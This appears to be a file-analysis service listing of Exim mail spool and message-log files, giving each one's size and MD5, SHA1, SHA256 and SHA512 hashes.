66a5899dc7213261c3db6aff3a36c4413a1e4315fe690d1d4b62491619aeb41616d3ac3046ef54f195afa644fcf026031a6f2c5d38c6470b79e4a542591b2eff

Download Submit
/var/spool/exim4/input/1sRJh0-0000Br-PV-D

Filesize
128B

MD5
99bee857c4d7404a34717b475174567e

SHA1
b8f25b7a3e597ee1e6f13ed160e9c4500e5d88af

SHA256
697fc562a1278a8694a6416eac6519fa7cb02322014663e8400b980f874df459

SHA512
f171de3a7fb14a52bfb184dbb9d432fb5bfd22f86a2876f9ab359e913cfe93bed6307f6926e8d0afde71cf9979fdb3aae25c47f1429095e59e04683ec95deec7

Download Submit
/var/spool/exim4/input/1sRJh0-0000Br-PV-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/1sRJh0-0000Bv-Pq-D

Filesize
146B

MD5
c2e946bd3854ab22d534244a29907250

SHA1
b2d8a8ce563121ade07330a3dd481f3be01159a9

SHA256
7140f602aa89556765e31292568c577828fb209d0f3fd0b6e12f97537b402134

SHA512
7ed5c6241815754e0dce2f0c6429b2c98c340ee4c79e16ca279accf495ccc6d223d6cb9f09dff2213c32fee90147929aa7ed1a90ed1a7f8911966efb04b222c4

Download Submit
/var/spool/exim4/msglog/1sRJh0-0000Br-PV

Filesize
288B

MD5
1688a07d6ad67b162f01564213be9163

SHA1
12868f510de2a1001b752bb65dd32126e71caea8

SHA256
c11f7e3bf8e969b3953744995d5caa29c3d42f39ad2680663597f55da1a36889

SHA512
69df8e448e8ef3c0cd913caca386d15fa112b539c8df4a97aa2e0e8c694de05149cd830f3321ae3901e8f09288bdad0dde0b16738ed0070b11c7f2a0f08597c4

Download Submit
/var/spool/exim4/msglog/1sRJh0-0000Br-PV

Filesize
89B

MD5
acbdecc0ea99bdccf4a081194bce61bf

SHA1
e44f971945ac202332048310e0ef3355f6957153

SHA256
9a6c6382cf2ffd241274650bed456b5b654168a4c93422b88f63a8a59547e0f5

SHA512
96c61fc99bf452144f5d63bbab6d1e197e861bf8b550989994d69c75ae92adb0e2dc7b74dc1f9a8daabcdc0f73d1cd1670f84997fd460a867040719593a70330

Download Submit
/var/spool/exim4/msglog/1sRJh0-0000Bv-Pq

Filesize
288B

MD5
d776dcf5125c52e4b521686f0f8e1329

SHA1
2893fbf08334ce99327cdca9882bdd4f9ae4d3e8

SHA256
dda19171bb712f536b3603e2e9c88eb20bb98f3c2760198707f5fed9ecde2320

SHA512
7254802131cb97ed6263a05dbdd6bcbf8209ded01910c31a95d06b9c2e15ad45d56012f652340f23a727e855ec44799f311d0d699d11973a2d36579710424a3a

Download Submit
/var/spool/exim4/msglog/1sRJh0-0000Bv-Pq

Filesize
89B

MD5
bf6d150600cea7dbd4d5c41e89dd1c78

SHA1
574f637c6961e305ec126fc9418a5d12b105dd85

SHA256
5b30f16a145596a004b7a7cbd840f5ce6587102c39869f054dfda5f8f4cafb18

SHA512
931778372beb55c63baaa86f69c27265ab05123bfbe8a7c902694a5459332cea63efa39f2525dd7c60843f25488fd3fee725260d0c3e4450fc656b4f4d2beb79

Download Submit